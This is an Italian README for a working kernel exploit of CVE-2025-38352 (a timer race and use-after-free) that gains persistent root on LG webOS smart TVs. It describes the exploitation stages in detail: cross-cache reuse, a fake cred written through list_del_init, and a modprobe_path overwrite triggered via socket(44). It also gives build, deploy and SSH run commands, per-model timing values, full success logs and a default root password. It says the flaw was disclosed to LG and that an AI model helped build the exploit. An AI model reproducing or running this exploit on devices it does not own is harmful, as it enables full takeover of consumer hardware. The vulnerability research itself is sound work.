
CVE-2025-38352 exploit del kernel per smart TV LG webOS (ARM64). Raggiunge root persistente su hardware consumer reale con tecniche di sfruttamento innovative. Divulgato responsabilmente a LG.
Exploit del kernel per CVE-2025-38352 (condizione di gara del timer CPU POSIX / use-after-free) che ottiene root persistente su Smart TV LG webOS con kernel 5.4.268 su ARM64. Verificato su 4 modelli di TV in diverse versioni firmware. Divulgato responsabilmente al programma LG Security Researcher (febbraio 2026).
Basato su Chronomaly di farazsth98. La logica di race UAF dello Stage 1 e l'infrastruttura cross-cache sono state portate e adattate per ARM64; gli Stage 2–5 sono stati riprogettati con nuove tecniche di sfruttamento e soluzioni ai vincoli hardware reali che non esistono in ambienti emulati. Sviluppato con l'assistenza di Claude Opus 4.6.
Vedi VULNERABILITY_REPORT.md per l'analisi completa della vulnerabilità, la descrizione della catena di exploit e le mitigazioni raccomandate.
prisoner (uid=5038)Questo exploit è stato sviluppato come parte di una ricerca sulla sicurezza responsabile e segnalato al programma LG Security Researcher il 7 febbraio 2026. Viene pubblicato solo a scopo educativo. Usalo in modo responsabile e solo su dispositivi di tua proprietà. Gli autori non sono responsabili per eventuali danni, brick, perdita di dati o annullamento della garanzia derivanti dall'uso di questo software. Questo software è fornito "così com'è" senza garanzia.
Il decremento arbitrario dell'originale è lento e rumoroso: spruzza 1000 oggetti struct cred tramite processi fork, poi decrementa il campo EUID del cred target N volte. Ogni decremento è un'operazione separata. È accettabile in QEMU, dove i tempi sono indulgenti, ma inaffidabile su hardware reale, dove il recupero delle pagine guidato dagli interrupt può rubare le pagine del buffer della pipe tra un'operazione e l'altra.
È stato sostituito con una singola scrittura arbitraria tramite list_del_init(). L'exploit sovrascrive i puntatori list_head.next e list_head.prev del sigqueue UAF attraverso il buffer della pipe. Quando il kernel rimuove il segnale in sospeso (collect_signal() → list_del_init()), esegue prev->next = next (scrive l'indirizzo del cred fittizio in task_struct->cred) e next->prev = prev (scrittura collaterale controllata). Una singola scrittura sostituisce il puntatore cred del processo con un puntatore a una struttura cred fittizia contenente tutti i campi uid/gid a zero. Nessuno spray di cred, nessun processo fork, deterministico.
peek_pipe() tramite tee() per letture non distruttiveL'originale utilizza chiamate read() distruttive sui buffer della pipe durante tutto l'exploit. In QEMU funziona bene perché le pagine non vengono rubate tra le operazioni. Su hardware reale con 4 core fisici, la lista delle pagine per CPU del kernel (pcplist) recupera aggressivamente le pagine liberate. Una lettura distruttiva rilascia la pagina di supporto del buffer della pipe, che può essere immediatamente rubata da un interrupt hardware prima che l'exploit possa riallocarla.
La soluzione è una primitiva di lettura non distruttiva della pipe tramite tee(). La chiamata di sistema tee() duplica i dati della pipe tra due pipe senza consumarli, mantenendo la pagina di supporto del buffer della pipe originale bloccata. Ciò consente all'exploit di leggere i dati del kernel dal buffer della pipe cross-cached ripetutamente senza rischiare la perdita della pagina. È stato fondamentale per l'affidabilità su hardware reale.
L'originale spruzza oggetti cred e spera di posizionarne uno in una posizione prevedibile. Questa versione costruisce la struttura cred fittizia a un indirizzo noto eseguendo una seconda cross-cache: alloca un nuovo sigqueue (tramite tkill(SIGRTMIN+1)), ne apprende l'indirizzo dalla prima perdita di heap del buffer della pipe, quindi esegue il cross-cache della pagina slab di quel sigqueue in un secondo buffer della pipe. Il cred fittizio viene scritto nel secondo buffer della pipe all'esatto offset di pagina dell'indirizzo del sigqueue trapelato. Il risultato è un cred fittizio a un indirizzo kernel deterministico senza alcuna ipotesi.
L'originale rimuove SIGUSR2 all'inizio dello Stage 2 per far trapelare l'indirizzo del sigqueue UAF. Questo consuma il segnale, quindi l'originale necessita di un meccanismo diverso per la scrittura finale. Questa versione non ha mai bisogno dell'indirizzo del sigqueue UAF stesso (la perdita di heap proviene dai puntatori sigqueue adiacenti nel buffer della pipe). SIGUSR2 viene mantenuto in sospeso per tutti e cinque gli stage e la sua rimozione viene utilizzata come attivatore finale della scrittura arbitraria. Il segnale che ha creato l'UAF è lo stesso segnale la cui rimozione lo sfrutta.
modprobe_path + socket(44)La struttura cred fittizia ha puntatori user_ns, user e group_info NULL (poiché il buffer della pipe viene inizializzato a zero oltre i campi uid/gid). Chiamare setresuid(), fork() o exec() dereferenzierebbe questi puntatori NULL e causerebbe un kernel panic. L'originale evita questo perché il suo spray di cred utilizza oggetti cred reali con puntatori validi.
La soluzione: sovrascrivere /proc/sys/kernel/modprobe per puntare a uno script payload (/tmp/pwn), quindi attivare call_usermodehelper tramite socket(44, SOCK_STREAM, 0) (richiedendo una famiglia di protocolli inesistente). Il kernel esegue l'helper modprobe con init_cred (le credenziali root del kernel stesso, completamente valide), bypassando del tutto il cred corrotto. Il payload viene eseguito come root completo e può eseguire operazioni arbitrarie.
La finestra critica nello Stage 4 (scrittura di puntatori malevoli nel buffer della pipe, quindi attivazione della rimozione del segnale) è vulnerabile agli interrupt hardware che rubano la pagina del buffer della pipe dalla lista di pagine per CPU. Questo non accade in QEMU. Su hardware reale, questa finestra è protetta con priorità SCHED_FIFO (quando disponibile) e sched_yield() per consentire il completamento del lavoro pendente sulla CPU prima di entrare nella sezione critica, oltre a contenuti del buffer pre-preparati per ridurre al minimo il tempo tra scrittura e attivazione. L'exploit torna anche in modo elegante quando SCHED_FIFO non è disponibile (come su webOS dove l'utente prisoner non ha CAP_SYS_NICE).
task_struct su ARM64La scrittura arbitraria ha come target task_struct->cred, che richiede di conoscere l'offset in byte da task_struct->pending (il cui indirizzo viene trapelato dal buffer della pipe) a task_struct->cred. Questo offset dipende dalla configurazione del kernel. L'offset 0x80 (128 byte) è stato calcolato manualmente dal codice sorgente del kernel LG webOS, tenendo conto di CONFIG_KEYS=y, CONFIG_SYSVIPC=y e del layout e allineamento delle strutture specifici di ARM64. L'offset x86_64 nell'originale è diverso a causa del diverso packing e delle opzioni di configurazione.
In caso di successo, l'exploit:
/proc/sys/kernel/modprobe per eseguire un payload di rooting come initaarch64-linux-gnu-gcc)# macOS (richiede tap di terze parti)
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu
# Ubuntu/Debian
sudo apt-get install gcc-aarch64-linux-gnu
Installa l'app Homebrew Channel sulla TV tramite Dev Mode prima di eseguire l'exploit. In questo modo il payload di rooting deve solo elevarlo (veloce, affidabile) invece di installare + elevare (più lento, può fallire). Puoi sideloadarlo usando ares-install o l'app Dev Manager:
ares-install org.webosbrew.hbchannel_0.7.3_all.ipk
Se HBC non è preinstallato, l'exploit tenterà di installarlo da /tmp/hbchannel.ipk (distribuito da deploy-webos.sh), ma questo aggiunge passaggi extra che possono fallire.
# 1. Imposta l'IP della TV e la chiave SSH
# L'IP della TV si trova in Impostazioni > Rete > Wi-Fi > Impostazioni avanzate
# La chiave SSH è generata dall'app LG Developer Mode — cerca la chiave
# scaricata da Dev Manager o ares-setup-device (di solito chiamata webos_rsa)
export WEBOS_IP="<TV_IP>"
export WEBOS_KEY="$HOME/.ssh/webos_rsa"
# 2. Compila e distribuisci (deploy-webos.sh gestisce automaticamente la compilazione)
./deploy-webos.sh
# 3. Connettiti ed esegui
ssh -i "$WEBOS_KEY" -p 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa prisoner@$WEBOS_IP
/tmp/exploit-arm64
L'exploit accetta parametri di temporizzazione come argomenti da riga di comando:
/tmp/exploit-arm64 [DELAY] [DELTA] [THRESHOLD]
Se non vengono forniti argomenti, vengono utilizzati i valori predefiniti compilati (DELAY=31000, DELTA=50, THRESHOLD=3000).
Se viene fornito DELAY ma non DELTA, DELTA viene calcolato automaticamente come DELAY / 600 (arrotondato al 5 più vicino).
Osserva l'output dell'exploit e regola DELAY:
Parent raced too late → DIMINUISCI DELAY
Parent raced too early → AUMENTA DELAY
Quando compaiono entrambi i messaggi, la temporizzazione è vicina: continua a eseguire e l'exploit dovrebbe eventualmente colpire la finestra di race. Inizia con il valore predefinito compilato (31000) e regola da lì.
/tmp/pwn — spesso va in timeout (è normale). Controlla /tmp/pwn.log per verificare manualmente che il payload sia stato completato, se necessario.ssh root@<TV_IP>
# password: alpine
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
[+] Freed UAF sigqueue in parent process pid 28522
[+] Stage 2 - Cross-cache the UAF sigqueue's slab
[+] Reallocated UAF sigqueue slab as a pipe buffer data page
[+] Heap leak successful! Continuing...
[+] SIGUSR2 kept pending - UAF sigqueue stays in list
[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
[+] fake_cred_addr = 0xffffff804908c820
[+] Stage 4 - Set up arbitrary write via UAF sigqueue
[+] Will write: *0xffffff8048591378 = 0xffffff804908c820
[+] SIGUSR2 still pending from Stage 1
[DEBUG] All sigqueue fields verified OK
[+] Stage 5 - Trigger arbitrary write via signal dequeue
[+] Signal dequeued successfully!
[+] Arbitrary write completed: task->cred now points to fake_cred
[+] Current EUID: 0, UID: 1213797240
██████╗ ██████╗ ██████╗ ████████╗ ██╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██║
██████╔╝██║ ██║██║ ██║ ██║ ██║
██╔══██╗██║ ██║██║ ██║ ██║ ╚═╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ██╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[+] ROOT ACHIEVED! EUID = 0
[+] modprobe -> /tmp/pwn
[+] Rooting payload executed!
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
[+] Freed UAF sigqueue in parent process pid 28522
[+] Stage 2 - Cross-cache the UAF sigqueue's slab
[+] Reallocated UAF sigqueue slab as a pipe buffer data page
[+] Cleaning up all cross-cache allocations to prepare for next cross-cache
[+] Preparing task pending list for heap leaks
[DEBUG] Pipe buffer page dump (non-zero qwords):
[DEBUG] offset 0x960: 0xffffff804dbee2d0 [kernel ptr]
[DEBUG] offset 0x968: 0xffffff80485913f8 [kernel ptr]
[+] Heap leaks:
- UAF sigqueue page offset 0x960
- Other sigqueue 0xffffff804dbee2d0
- Task pending list addr 0xffffff80485913f8
[+] Heap leak successful! Continuing...
[+] SIGUSR2 kept pending - UAF sigqueue stays in list
[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
[+] new_addr = 0xffffff804908c820 (page offset 0x820)
[+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3...
[+] Freeing slab 3 page...
[+] Writing fake cred at page offset 0x820
[+] Reclaimed slab 3 page as second pipe buffer (with fake cred)
[+] fake_cred_addr = 0xffffff804908c820 (= new_addr from Stage 3 SIGRTMIN+1)
[+] Stage 4 - Set up arbitrary write via UAF sigqueue
[+] task_pending_list_addr = 0xffffff80485913f8
[+] cred_offset = 0x80 (128 bytes)
[+] task_cred_ptr_addr = 0xffffff8048591378
[+] fake_cred_addr = 0xffffff804908c820
[+] Will write: *0xffffff8048591378 = 0xffffff804908c820
[+] SIGUSR2 still pending from Stage 1
[-] SCHED_FIFO unavailable - proceeding anyway
[DEBUG] Verifying sigqueue fields in pipe buffer:
[DEBUG] list.next = 0xffffff804908c820 (expected 0xffffff804908c820) OK
[DEBUG] list.prev = 0xffffff8048591378 (expected 0xffffff8048591378) OK
[DEBUG] flags = 1 (expected 1) OK
[DEBUG] si_signo = 12 (expected 12 = SIGUSR2) OK
[DEBUG] All sigqueue fields verified OK
[+] Stage 5 - Trigger arbitrary write via signal dequeue
[+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now)
[+] This triggers list_del_init: *0xffffff8048591378 = 0xffffff804908c820
[DEBUG] poll() returned 1, revents=0x1
[DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5
[DEBUG] Key addresses for list_del_init:
[DEBUG] UAF.prev (entry->prev) = task_cred_ptr = 0xffffff8048591378
[DEBUG] UAF.next (entry->next) = fake_cred = 0xffffff804908c820
[DEBUG] fake_cred[0] should be task_pending_list = 0xffffff80485913f8
[DEBUG] Expected writes:
[DEBUG] *(0xffffff8048591378) = 0xffffff804908c820 (task->cred = fake_cred)
[DEBUG] *(0xffffff804908c828) = 0xffffff8048591378 (fake_cred.prev = task_cred_ptr)
[DEBUG] Verifying pipe buffers still valid...
[DEBUG] realloc_pipe read(0) = 0 (errno=1)
[DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init...
[DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over.
[DEBUG] read() returned 128, errno=0 (Success)
[DEBUG] Blocking mode restored
[+] Signal dequeued successfully! (read 128 bytes)
[DEBUG] POST-DEQUEUE pipe buffer check:
[DEBUG] list.next = 0xffffff80417e9960
[DEBUG] list.prev = 0xffffff80417e9960
[DEBUG] Pointers changed by kernel (list_del_init applied to our page)
[+] Arbitrary write completed: task->cred now points to fake_cred
[+] Checking privileges...
[+] Current EUID: 0, UID: 1213797240
██████╗ ██████╗ ██████╗ ████████╗ ██╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██║
██████╔╝██║ ██║██║ ██║ ██║ ██║
██╔══██╗██║ ██║██║ ██║ ██║ ╚═╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ██╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[+] ROOT ACHIEVED! EUID = 0
[+] modprobe -> /tmp/pwn
[+] Rooting payload executed!
[+] Waiting for /tmp/pwn to finish...
[+] May take up to 5 minutes to finish.
I contributi originali sono concessi in licenza MIT. Le parti derivate da Chronomaly di farazsth98 sono escluse dalla concessione MIT perché il progetto upstream è stato pubblicato senza una licenza esplicita. Vedi LICENSE per i dettagli.
| Variabile | Predefinito | Descrizione |
|---|
WEBOS_IP | 192.168.1.100 | Indirizzo IP della TV |
WEBOS_PORT | 9922 | Porta SSH |
WEBOS_USER | prisoner | Utente SSH |
WEBOS_KEY | $HOME/.ssh/webos_rsa | Percorso chiave SSH |
| Modello TV | OTA ID | DELAY | DELTA | THRESHOLD |
|---|
| OLED65C2PUA | HE_DTV_W22O_AFABATPU | 29700 | 50 | 3000 |
| 86QNED70AUA | HE_DTV_W25P_AFADATAA | 100000 | 165 | 3000 |
| OLED77C5PUA | HE_DTV_W25G_AFABATAA | 30500 | 50 | 3000 |
| OLED77G4WUA | HE_DTV_W24O_AFABATAA | 24500 | 50 | 2500 |
| OLED65C4PUA | HE_DTV_W24G_AFABATAA | 30000 | 50 | 3000 |
| OLED55C4PUA | HE_DTV_W24G_AFABATAA | 30300 | 50 | 3000 |
| OLED48C3AUB | - | 31300 | 50 | 3000 |
| OLED65C3PUA | HE_DTV_W23O_AFABJAAA | 27900 | 50 | 3000 |